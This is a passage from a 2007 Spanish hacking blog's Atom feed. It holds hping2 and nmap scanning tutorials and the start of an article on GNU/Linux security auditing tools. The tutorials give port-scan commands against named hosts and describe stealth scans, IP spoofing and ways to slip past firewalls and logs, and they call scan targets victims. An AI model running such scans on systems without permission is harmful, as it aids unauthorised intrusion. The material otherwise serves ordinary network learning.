/&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;br /&gt;  --tcpexitcode    use last tcp-&gt;th_flags as exit code&lt;br /&gt;  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime&lt;br /&gt;Common&lt;br /&gt;  -d  --data       data size                    (default is 0)&lt;br /&gt;  -E  --file       data from file&lt;br /&gt;  -e  --sign       add 'signature'&lt;br /&gt;  -j  --dump       dump packets in hex&lt;br /&gt;  -J  --print      dump printable characters&lt;br /&gt;  -B  --safe       enable 'safe' protocol&lt;br /&gt;  -u  --end        tell you when --file reached EOF and prevent rewind&lt;br /&gt;  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)&lt;br /&gt;  --tr-stop        Exit when receive the first not ICMP in traceroute mode&lt;br /&gt;  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop&lt;br /&gt;  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode&lt;br /&gt;ARS packet description (new, unstable)&lt;br /&gt;  --apd-send       Send the packet described with APD (see docs/APD.txt)&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;como podran leer el uso de la herramienta es hping ip_o_host y la(s) opciones a utilizar.&lt;br /&gt;&lt;br /&gt;Primero que nada explicare que es un flag, aunque los que hayan leeido sobre protocolos no sera ninguna novedad....&lt;br /&gt;&lt;br /&gt;Un flag es una especie de comando, que se incluye en paquetes, que especifica acciones, por ejemplo, preguntar si podemos conectar (sincronizar), contestar que esta abierto determinado puerto, comenzar conexion, terminar conexion e incluso enviar datos y especificar la importancia de dichos datos, cave recalcar que dichos flags o banderas.&lt;br /&gt;&lt;br /&gt;En TCP todo esta manejado por paquetes, asi que les recomiendo que vean el siguiente video tutorial que encontre en youtube:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=muh9u_F5oeg" target="_blank"&gt;http://www.youtube.com/watch?v=muh9u_F5oeg&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Algo Basico pero igual sirve para entender la teoria de como funciona esto....&lt;br /&gt;ahora enumeremos los principales flags (banderas) TCP:&lt;br /&gt;&lt;br /&gt;SYN: Le dice al servidor a conectar que intentamos conectar o sincronizar.&lt;br /&gt;ACK: es una cofirmacion de que los datos anteriores llegaron correctamente.&lt;br /&gt;FIN: Le dice al servidor que queremos cerrar una conexion.&lt;br /&gt;Null: un flag de valor nulo (0) o sea que es un paquete al que se le ah eliminado todos los flags, este paquete es enviado con el fin de optener un RST ACK o un SYN ACK.&lt;br /&gt;RST: Significa Reset, o sea que reinicie la conexion por que ubo algun error, que estan filtrados los flags o que esta cerrado el puerto.&lt;br /&gt;PSH: Cuando deseamos enviar una cantidad de información grande dividida en paquetes, éstos se van&lt;br /&gt;situando en un buffer de transmisión FIFO (First In First Out) hasta que el último de ellos está preparado.&lt;br /&gt;Este último paquete tiene activado el flag push e indica que se debe vaciar el buffer y comenzar el envío&lt;br /&gt;de paquetes.&lt;br /&gt;URG: significa urgente y quiere decir que enviamos un paquete con datos urgentes, tambien se pueden usar punteros para enviar datos urgentes con normales.&lt;br /&gt;&lt;br /&gt;Espero ando que no se me aya pasado nada, continuamos:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;ICMP (Internet Control Message Protocol)&lt;/b&gt; es un protocolo bastante simple que está orientado a fines&lt;br /&gt;informativos o de control de errores.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Mensaje ICMP:&lt;/b&gt;&lt;br /&gt;0=echo reply&lt;br /&gt;3=destination unreachable&lt;br /&gt;4=source quench&lt;br /&gt;5=redirect&lt;br /&gt;8=echo&lt;br /&gt;11=time exceeded&lt;br /&gt;12=parameter problem&lt;br /&gt;13=timestamp&lt;br /&gt;14=timestamp reply&lt;br /&gt;15=information request&lt;br /&gt;16=information reply&lt;br /&gt;Supongo que se entiende no?...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Continuamos:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Para hacer mas entendible el tema vamos a la practica:&lt;/b&gt;&lt;br /&gt;Para comenzar utilizaremos a hping2 como un scanner de puertos basado en flags, esto es algo avanzado y laborioso pero optenemos exelentes resultados &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;En este ejemplo utilizare el hping2 el cual es la version mas resiente (o la mas resiente que encontre xD).&lt;br /&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 80 google.com&lt;br /&gt;HPING google.com (eth0 64.233.187.99): S set, 40 headers + 0 data bytes&lt;br /&gt;len=46 ip=64.233.187.99 ttl=241 id=30495 sport=80 flags=SA seq=0 win=8190 rtt=128.4 ms&lt;/div&gt;&lt;b&gt;&lt;br /&gt;Vamos por partes:&lt;/b&gt;&lt;br /&gt;-c 1: cuenta los paquetes.&lt;br /&gt;-S: especifica que utilizaremos paquetes con flags SYN.&lt;br /&gt;-p 80: especifica el puerto en este caso 80 (HTTP).&lt;br /&gt;Ahora la respuesta:&lt;br /&gt;ip=64.233.187.99: es la io que resolvio hping2.&lt;br /&gt;ttl=241: Time to Alive.&lt;br /&gt;sport=80: el puerto.&lt;br /&gt;flags=SA: Esto es lo que nos interesa, SA significa que envio un paquete con los flags SYN y ACK, lo cual quiere decir, que nuestro paquete llego correctamente y que el puerto esta abierto &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;.&lt;br /&gt;&lt;b&gt;Ahora un ejemplo de puerto cerrado:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -c 1 -S -p 20 192.168.1.254&lt;br /&gt;HPING 192.168.1.254 (eth0 192.168.1.254): S set, 40 headers + 0 data bytes&lt;br /&gt;len=51 ip=192.168.1.254 ttl=255 DF id=55848 sport=20 flags=RA seq=0 win=0 rtt=0.6 ms&lt;br /&gt;&lt;br /&gt;--- 192.168.1.254 hping statistic ---&lt;br /&gt;1 packets tramitted, 1 packets received, 0% packet loss&lt;br /&gt;round-trip min/avg/max = 0.6/0.6/0.6 ms&lt;br /&gt;&lt;/div&gt;Ahora como podremos darnos cuenta aqui cambio el flag:&lt;br /&gt;flags=RA&lt;br /&gt;En este caso resivimos RST y ACK o sea que el puerto esta cerrado...&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Ahora vamos por un puerto filtrado:&lt;/b&gt;&lt;br /&gt;En este caso es simple, por que no resiviremos respuesta jajajaja.&lt;br /&gt;&lt;br /&gt;Ahora cabe especificar que no solo podemos utilizar el flag SYN para esto, lo cual es muy util, ya que algunas flags, estan filtradas por el firewall, router, o incluso una configuracion del iptables en un entorno linux, por lo cual estan otras opciones:&lt;br /&gt;&lt;b&gt;&lt;br /&gt;  -F  --fin        set FIN flag&lt;br /&gt;  -S  --syn        set SYN flag&lt;br /&gt;  -R  --rst        set RST flag&lt;br /&gt;  -P  --push       set PUSH flag&lt;br /&gt;  -A  --ack        set ACK flag&lt;br /&gt;  -U  --urg        set URG flag&lt;br /&gt;  -X  --xmas       set X unused flag (0x40)&lt;br /&gt;  -Y  --ymas       set Y unused flag (0x80)&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Solo queda probar &lt;img src="http://uf.yethost.com/Smileys/default/tongue.gif" alt="tongue" border="0" /&gt;, asi incluso podemos saltar algunas protecciones de firewalls, routers, o configuraciones de seguridad &lt;img src="http://uf.yethost.com/Smileys/default/cheesy.gif" alt="cheesy" border="0" /&gt;....&lt;br /&gt;&lt;br /&gt;Segunda parte, en base a que la parte 1 no estubo muy bien aclarada, aqui la acompleto xD.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Tipo de Scanneos:&lt;/b&gt;&lt;br /&gt;ACK: Este es utilizado para saber si el server esta detras de un firewall, o si el puerto(s), estan filtrados.&lt;br /&gt;Si obtenemos un ACK el puerto esta abierto o cerrado, y si no resivimos respuesta el puerto esta filtrado (probablemente detras de un firewall).&lt;br /&gt;SYN: este es utilizado para detectar si un puerto esta abierto o cerrado.&lt;br /&gt;FIN: este sirve para detectar puertos abiertos entre otras cosas, si resivimos un RS ACK, esta cerrado el puerto, si no recivimos nada, es que el puerto esta filtrado o como dije arriba detras de un firewall, router, modem, etc, que estorban el envio del paquete.&lt;br /&gt;otra clase de scanneos es el que no lleba ningun flag, tambien es bastante efectivo, y tambien el scanneo mediante todos los flags, que a mi pareser es el menos efectivo, ya que rara vez responden el paquete...&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Scanneo de Puertos multiples:&lt;/b&gt;&lt;br /&gt;la sintaxis es simple:&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -l eth0 -S xxx.xxx.xxx.xxx -p ++80&lt;/div&gt;es basicamente la sintaxis de los anteriores scanneres solo que al numero de puerto se le agregan los simbolos "++" antes del numero, ademas como podran observar aqui le especifique el adaptador de red a utilizar (es descartable esto).&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Otra forma de scanneo multiple:&lt;/b&gt;&lt;br /&gt;&lt;div class="quoteheader"&gt;Quote&lt;/div&gt;&lt;div class="quote"&gt;&lt;span style="color: red;"&gt;BT &lt;/span&gt;&lt;span style="color: blue;"&gt;~ #&lt;/span&gt; hping2 -V -8 '20-80' -S xxx.xxx.xxx.xx&lt;/div&gt;Este tipo de scanneo es por medio de rangos de puertos, en esta forma utilize el -V (modo verboso), -8 (el modo de scanner, tambien es remplazable por --scan, y utilizo el flag SYN para scannear, que como ya dije arriba se puede cambiar por los otros tipos de scanneo (dependiendo de lo que queremos hacer).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Autor: Thera Hack&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-8687278639782557800?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/8687278639782557800/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=8687278639782557800' title='2 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/8687278639782557800'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/8687278639782557800'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/manual-hping.html' title='Manual Hping'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-4679173889783501769</id><published>2007-10-23T00:37:00.000-03:00</published><updated>2007-10-23T00:51:39.635-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Manuales'/><title type='text'>Manual NMAP</title><content type='html'>Nmap es un programa que sirve para hacer un mapeo de&lt;br /&gt;las redes o mejor dicho un "scan" o barrido con el fin de determinar&lt;br /&gt;informaci?n importante a la hora de hackear sobre determinados hosts, redes o&lt;br /&gt;grupos de hosts. Este programa, se ha ganado mucho adeptos debido a su versatilidad y facilidad de manejo, ademas de poder utilizar varios protocolos como el udp y el tcp.&lt;br /&gt;&lt;br /&gt;Este Programa posee multiples opciones que pueden ser combinadas entre si aun sin importar el orden en que se pases estas opciones en la linea de comandos o en su front-end para linux llamado NMAP-FE.&lt;br /&gt;&lt;br /&gt;A continuacion, les voy a explicar como usarlo desde la consola en Linux.&lt;br /&gt;&lt;br /&gt;Modo de uso: nmap [Tipo de Scan] [Opciones] ip.o.hostdela.victima&lt;br /&gt;&lt;br /&gt;------------------------&lt;br /&gt;&lt;br /&gt;Descubrimiento de hosts:&lt;br /&gt;&lt;br /&gt;-sL Lista de hosts - Lista de los hosts a escanear&lt;br /&gt;&lt;br /&gt;-sP Ping - Solamente le hace un ping a la/s victima/s para ver si estan conectadas&lt;br /&gt;&lt;br /&gt;-P0 Determinar que todos los hosts estan conectados - Esta funcion saltea el ping a la victima, en caso de que esta bloquee los pings&lt;br /&gt;&lt;br /&gt;-PS/PA/PU [lista de puertos] Scaneo TCP SYN/ACK o UDP a la lista de puertos&lt;br /&gt;&lt;br /&gt;-PE/PP/PM: Pruebas ICMP echo, timestamp, y netmask - Se utilizan para descubrir si la victima esta conectada&lt;br /&gt;&lt;br /&gt;------------------&lt;br /&gt;&lt;br /&gt;Tecnicas de Scaneo&lt;br /&gt;&lt;br /&gt;-sS:Scaneos TCP SYN - Realiza un scaneo oculto que solo puede ser ejecutado por usuario root&lt;br /&gt;&lt;br /&gt;-sT: Scaneo Connect() - Este scaneo realiza una conexion tcp que muestra tu IP&lt;br /&gt;&lt;br /&gt;-sA/sW/sM: Scaneos ACK, Window y Maimon (poco frecuentes)&lt;br /&gt;&lt;br /&gt;-sU:  Scaneo UDP&lt;br /&gt;&lt;br /&gt;-sF, -sX,-sN Stealth FIN,Xmas, o Scan Nulo (solo trabaja&lt;br /&gt;contra UNIX) este tipo de scan se le llama nulo porque intenta molestar lo menos&lt;br /&gt;posible al "inetd" o demonio de servicios para evitar caer en el log del&lt;br /&gt;sistema, ademas existen muchos host con firewall que poseen filtrado para&lt;br /&gt;paquetes del tipo SYN por lo que quedariamos automaticamente grabados en el log&lt;br /&gt;del sistema, para esos casos es necesario utilizar el sF,sX,sN o el Xmas en vez&lt;br /&gt;de el sS.&lt;br /&gt;&lt;br /&gt;-sO: Realiza un scaneo al protocolo IP&lt;br /&gt;&lt;br /&gt;-b: ftp "bounce attack" - utlizado para ver si se puede&lt;br /&gt;utilizar un host para pasar una conexi?n ftp a traves de el y no hacer el ftp a&lt;br /&gt;otro host desde tu maquina directamente.&lt;br /&gt;&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;Especificacion de puertos&lt;br /&gt;&lt;br /&gt;-p &lt;rango&gt;: Realiza un escaneo solamente a ese rango de puertos&lt;br /&gt;&lt;br /&gt;-F: Realiza un scaneo rapido, a los puertos mas comunes&lt;br /&gt;&lt;br /&gt;------------------------------&lt;br /&gt;&lt;br /&gt;Deteccion de sistema operativo&lt;br /&gt;&lt;br /&gt;-O: Habilita la deteccion del sistema operativo&lt;br /&gt;&lt;br /&gt;-O2: Scanea solamente a sistemas operativos recientes.&lt;br /&gt;&lt;br /&gt;-O1: Scanea solamente a los sistemas operativos mas antiguos&lt;br /&gt;&lt;br /&gt;--------------------------------&lt;br /&gt;&lt;br /&gt;Evasion de firewalls y Spoofing:&lt;br /&gt;&lt;br /&gt;-S: Spoofea la direccion de IP&lt;br /&gt;&lt;br /&gt;-e &lt;interface&gt; Utiliza la interfaz seleccionada&lt;br /&gt;&lt;br /&gt;-----------&lt;br /&gt;Micelaneos:&lt;br /&gt;&lt;br /&gt;--open: Solo muestra los puertos abiertos o posiblemente abiertos&lt;br /&gt;&lt;br /&gt;--packet-trace: Muestra el log de paquetes enviados y recibidos&lt;br /&gt;&lt;br /&gt;-6: Habilita scaneo IPV6&lt;br /&gt;&lt;br /&gt;-A: Habilita deteccion de Sistema Operativo y de Version de software&lt;br /&gt;&lt;br /&gt;-V: Muestra la version del programa&lt;br /&gt;&lt;br /&gt;---------&lt;br /&gt;Ejemplos:&lt;br /&gt;&lt;br /&gt;nmap -v -sP 192.168.0.0/16 10.0.0.0/8&lt;br /&gt;&lt;br /&gt;nmap -sT -6 127.0.0.1&lt;br /&gt;&lt;br /&gt;nmap -sS -O2 -P0 google.com.ar&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Autor: Tiger&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/6813684401960882760-4679173889783501769?l=zodiac-mitm.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://zodiac-mitm.blogspot.com/feeds/4679173889783501769/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=6813684401960882760&amp;postID=4679173889783501769' title='1 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/4679173889783501769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6813684401960882760/posts/default/4679173889783501769'/><link rel='alternate' type='text/html' href='http://zodiac-mitm.blogspot.com/2007/10/manual-nmap.html' title='Manual NMAP'/><author><name>Zodiac</name><uri>http://www.blogger.com/profile/03879808782798901865</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://vnuuk.typepad.com/photos/uncategorized/hacking.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6813684401960882760.post-2334720938034331211</id><published>2007-10-23T00:26:00.001-03:00</published><updated>2007-10-23T00:52:59.522-03:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Documentos Técnicos'/><title type='text'>Auditorías de Seguridad en GNU/Linux</title><content type='html'>Auditorías de Seguridad en GNU/Linux.&lt;br /&gt;                   -------------------------------------&lt;br /&gt;&lt;br /&gt;             Javier Fernández-Sanguino Peña &lt;&lt;a href="mailto:jfs@computer.org"&gt;jfs@computer.org&lt;/a&gt;&gt;&lt;br /&gt;&lt;br /&gt;                                15 feb 1999&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Abstract&lt;br /&gt;--------&lt;br /&gt;&lt;br /&gt;     Se verán las distintas herramientas disponibles en GNU/Linux para&lt;br /&gt;     auditar la seguridad de una red heterogénea.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Copyright Notice&lt;br /&gt;----------------&lt;br /&gt;&lt;br /&gt;     Copyright (C) 1998,1999 Javier Fernández-Sanguino Peña&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Seguridad en GNU/Linux&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;     A veces se le ha atribuido al sistema GNU/Linux una escasez de&lt;br /&gt;     seguridad, a pesar de ser un sistema multiusuario real, y sí que han&lt;br /&gt;     existido conocidos agujeros de seguridad, no en el sistema en su&lt;br /&gt;     conjunto sino en diversas aplicaciones.  El gestor de correo, enorme y&lt;br /&gt;     complejo, _sendmail_ tiene el triste prestigio de ser un programa en&lt;br /&gt;     el que había problemas de seguridad frecuentes.  Este gestor no era&lt;br /&gt;     específico de Linux, pero sí de sistemas UNIX en general.&lt;br /&gt;&lt;br /&gt;     Por esto, y a pesar de que la respuesta de los desarrolladores de las&lt;br /&gt;     diversas distribuciones de GNU/Linux, y de los creadores de&lt;br /&gt;     aplicaciones ha sido siempre rápida, es posible que en un sistema no&lt;br /&gt;     se tapen los agujeros de seguridad porque el administrador no ha&lt;br /&gt;     tenido tiempo de actualizar a la última versión, no conoce de la&lt;br /&gt;     existencia de aquél, o no ha sabido configurar adecuadamente las&lt;br /&gt;     aplicaciones o servicios ofrecidos.&lt;br /&gt;&lt;br /&gt;     Las distribuciones basadas en GNU/Linux ofrecen a sus usuarios una&lt;br /&gt;     gran cantidad de información en sus servidores de WWW referentes a&lt;br /&gt;     actualizaciones de paquetes que proporcionaban programas a los cuales&lt;br /&gt;     les ha sido detectado un posible peligro de seguridad.  RedHat hace&lt;br /&gt;     esto frecuentemente, incluso se vió obligada a sacar la versión 5.1 de&lt;br /&gt;     forma acelerada para tapar el gran número de agujeros existentes en su&lt;br /&gt;     versión estrella, la 5.0.  Debian también pone avisos de seguridad,&lt;br /&gt;     cuando son recibidos, relacionados con los programas que se ofrecen&lt;br /&gt;     dentro de la distribución, aunque con su modelo de desarrollo más&lt;br /&gt;     abierto, veáse por ejemplo el BTS (Bug Tracking System), consigue&lt;br /&gt;     ofrecer antes nuevas versiones de los programas con los problemas de&lt;br /&gt;     seguridad resueltos.  Así mismo, Debian, con posterioridad a la salida&lt;br /&gt;     de la versión final de su distribución, crea una nueva sección llamada&lt;br /&gt;     _stable-updates_ que contiene actualizaciones a paquetes de la versión&lt;br /&gt;     estable en su mayor parte relacionadas con problemas de seguridad.&lt;br /&gt;&lt;br /&gt;     Sin embargo los problemas que dan lugar a que una determinada máquina&lt;br /&gt;     esté "comprometida" no se limita exclusivamente a que se haya&lt;br /&gt;     instalado la última versión de un determinado programa, también es&lt;br /&gt;     necesario cuidar la configuración de ciertos programas, vigilar la&lt;br /&gt;     información ofrecida a los extraños y el contenido de los diversos&lt;br /&gt;     ficheros de un sistema.&lt;br /&gt;&lt;br /&gt;     El sistema GNU/Linux se surte, desde sus principios, de los programas&lt;br /&gt;     surgidos dentro de la comunidad UNIX en muchos ámbitos, ya que éste es&lt;br /&gt;     un sistema UNIX para PCs, como ya saben los lectores de la revista.&lt;br /&gt;     Desde gestores de correo, a servidores de ftp o servidores de WWW,&lt;br /&gt;     algunos de los existentes en GNU/Linux son, o provienen de, programas&lt;br /&gt;     diseñados en principio para otros sistemas UNIX, aunque con el auge&lt;br /&gt;     actual de GNU/Linux estos programas se diseñan específicamente para&lt;br /&gt;     Linux.  Es por lo primero que los problemas de seguridad de estos&lt;br /&gt;     programas se pueden trasladar a una distribución de GNU/Linux, pero&lt;br /&gt;     también es por esto que existen gran cantidad de auditores de&lt;br /&gt;     seguridad para Linux.&lt;br /&gt;&lt;br /&gt;     Se tratarán primero herramientas que no son específicas de GNU/Linux,&lt;br /&gt;     sino del mundo UNIX en general, y tratando de comentar las&lt;br /&gt;     particularidades de aquellos en cuanto a GNU/Linux se refiere.&lt;br /&gt;     Posteriormente se comentarán también herramientas exclusivas, surgidas&lt;br /&gt;     más recientemente, para GNU/Linux, y se incidirá en las facilidades (o&lt;br /&gt;     problemas) de portabilidad de estas herramientas a GNU/Linux.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;-------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Auditores de seguridad&lt;br /&gt;-------------------------&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.1. ¿Qué son los programas auditores de seguridad?&lt;br /&gt;---------------------------------------------------&lt;br /&gt;&lt;br /&gt;     Los programas auditores de seguridad son herramientas tremendamente&lt;br /&gt;     útiles para la administración de un sistema, ya que permiten detectar,&lt;br /&gt;     de forma rutinaria, problemas de seguridad para los que pudieran&lt;br /&gt;     existir ataques conocidos.&lt;br /&gt;&lt;br /&gt;     Un programa auditor de seguridad debería ser capaz de detectarlos sin&lt;br /&gt;     vulnerar la integridad del sistema, es decir, no debería, por ejemplo,&lt;br /&gt;     detectar que un sistema es vulnerable a un ataque del tipo DoS (Denial&lt;br /&gt;     of Service), dejando al sistema "colgado".  Este tipo de programas no&lt;br /&gt;     sustituyen al sentido común ni a la experiencia de un buen&lt;br /&gt;     administrador, sino que suponen una ayuda para realizar algunas tareas&lt;br /&gt;     rutinarias que pueden llevar mucho tiempo a un administrador normal.&lt;br /&gt;&lt;br /&gt;     Estos programas pueden operar a muchos niveles, desde la comprobación&lt;br /&gt;     de la pertenencia de archivos a usuarios y grupos del sistema hasta&lt;br /&gt;     pruebas sobre aplicaciones instaladas para verificar si éstas tienen&lt;br /&gt;     agujeros conocidos.  Una forma sencilla de demonstrarlo sería, por&lt;br /&gt;     ejemplo, mirar la versión de ésta última, y ver si se trata de una&lt;br /&gt;     versión que tuviera un problema especialmente grave.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2.2. Los precursores: COPS, Tiger, Tripwire e ISS&lt;br /&gt;-------------------------------------------------&lt;br /&gt;&lt;br /&gt;     Llamamos a estos programas precursores porque fueron los primeros que&lt;br /&gt;     empezaron a desarrollarse en la línea de automatizar las tareas del&lt;br /&gt;     administrador para vigilar la seguridad de la máquina.  Todos estos&lt;br /&gt;     sugieron en el mundo UNIX al principio de la decada de los 90, aunque&lt;br /&gt;     algunos se mantienen aún hoy vigentes o han sido "remozados" para&lt;br /&gt;     adaptarlos a los nuevos tiempos.&lt;br /&gt;&lt;br /&gt;     COPS (Computer Oracle and Password System) es un paquete de&lt;br /&gt;     herramientas de seguridad disponible de forma pública.  Están&lt;br /&gt;     diseñadas para ayudar a la tarea de un administrador identificando&lt;br /&gt;     problemas de seguridad en un sistema UNIX, aunque no pretende arreglar&lt;br /&gt;     las discrepancias que encuentra sino que simplemente produce un&lt;br /&gt;     informe de lo que ha encontrado y lo almacena o lo envía por correo.&lt;br /&gt;     COPS fue realizado por Dan Farmer, uno de los creadores de SATAN y&lt;br /&gt;     distribuido el 31 de enero de 1989.&lt;br /&gt;&lt;br /&gt;     El paquete se divide en dos partes: un conjunto de programas que&lt;br /&gt;     automatizan comprobaciones rutinarias y la documentación para&lt;br /&gt;     manejarlo e interpretar su salida.  COPS requiere ser ejecutado en&lt;br /&gt;     cada máquina a chequear y es multiplataforma.  El programa&lt;br /&gt;     inicialmente fue escrito en base a shell scripts (en el intento de&lt;br /&gt;     asegurar la portabilidad de éste) y en programas en C (para aquellas&lt;br /&gt;     acciones que necesitan ejecutarse rápidamente), la última versión de&lt;br /&gt;     este paquete (1.0.4, 6 de marzo de 1992) está realizada, además, en&lt;br /&gt;     Perl.&lt;br /&gt;&lt;br /&gt;     COPS realiza un buen número de comprobaciones, con la intención de&lt;br /&gt;     buscar vulnerabilidades:&lt;br /&gt;&lt;br /&gt;        * chequeo de permisos de ficheros, directorios y dispositivos.&lt;br /&gt;&lt;br /&gt;        * cracker de passwords a dos niveles, que de hecho ha sido&lt;br /&gt;          realizado usando el notorio _Crack_ (ver más abajo).&lt;br /&gt;&lt;br /&gt;        * comprobación del contenido, formato y seguridad de los ficheros&lt;br /&gt;          de passwords y ge grupo.&lt;br /&gt;&lt;br /&gt;        * chequeo de programas que se ejecutan en /etc/rc* y en el cron.&lt;br /&gt;&lt;br /&gt;        * búsqueda de programas setuid root, con permiso de escritura y&lt;br /&gt;          avisa si son shell scripts.&lt;br /&gt;&lt;br /&gt;        * comprobación a través CRC de binarios y ficheros importantes para&lt;br /&gt;          evitar modificaciones.&lt;br /&gt;&lt;br /&gt;        * comprobación de permisos de escritura en los directorios de los&lt;br /&gt;          usuarios y de sus ficheros de configuración.&lt;br /&gt;&lt;br /&gt;        * comprobacion automática de avisos del CERT, descargándolos&lt;br /&gt;          previamente y comprobando si existe algún aviso nuevo para el&lt;br /&gt;          tipo de máquina sobre el que se ejecuta.&lt;br /&gt;&lt;br /&gt;        * un sistema experto llamado Kuang que en base a una serie de&lt;br /&gt;          reglas indica si el sistema ha sido o no comprometido.&lt;br /&gt;&lt;br /&gt;        * chequeos varios: directorios en el patg, hosts.equiv,&lt;br /&gt;          exportaciones por NFS...&lt;br /&gt;&lt;br /&gt;     Dado que no realiza ninguna modificación, no necesita ser ejecutado&lt;br /&gt;     con privilegios de superusuario (como "root") sino que lo puede&lt;br /&gt;     ejecutar cualquier usuario.  Eso sí, para descubir parte de la&lt;br /&gt;     información, como por ejemplo analizar todos los ficheros con el bit&lt;br /&gt;     setuid, puede que sea necesario ejecutarlo como superusuario ya que&lt;br /&gt;     puede que algunos ficheros (o directorios) no tengan permisos de&lt;br /&gt;     lectura para todo el mundo.&lt;br /&gt;&lt;br /&gt;     Junto con COPS se distribuye CARP (COPS Analysis and Reporting&lt;br /&gt;     Program), programa que realiza informes gráficos en base a los&lt;br /&gt;     resultados de COPS.&lt;br /&gt;&lt;br /&gt;     Tiger es similar a COPS, pues se dedica a conseguir información que&lt;br /&gt;     pueda descubrir problemas de seguridad en máquinas UNIX pero está más&lt;br /&gt;     actualizado que COPS y más configurable.  La última versión disponible&lt;br /&gt;     es de marzo de 1994.&lt;br /&gt;&lt;br /&gt;     Tiger, que toma el nombre de un equipo de futbol americano, es un&lt;br /&gt;     conjunto de Bourne shell scripts, programas en C y ficheros de datos&lt;br /&gt;     que se usan para realizar una auditoría de seguridad de sistemas UNIX.&lt;br /&gt;     Es multiplataforma, entre ellas SunOS 4.x y 5.x.&lt;br /&gt;&lt;br /&gt;     Se desarrolló para escanear sistemas que se querían fueran accesibles&lt;br /&gt;     desde el exterior de un campus, y se ejecuta localmente.&lt;br /&gt;&lt;br /&gt;     El objetivo primordial de Tiger es analizar el sistema para tratar de&lt;br /&gt;     encontrar maneras de obtener privilegios de superusuario.  Su diseño&lt;br /&gt;     parte de la hipótesis de que cualquier otro uid o gid puede ser&lt;br /&gt;     obtenido por personas no autorizadas, es decir, que cualquie persona&lt;br /&gt;     puede hacerse pasar por un usuario cualquiera de la máquina, excepto,&lt;br /&gt;     por supuesto, por el superusuario.&lt;br /&gt;&lt;br /&gt;     Algunos de los 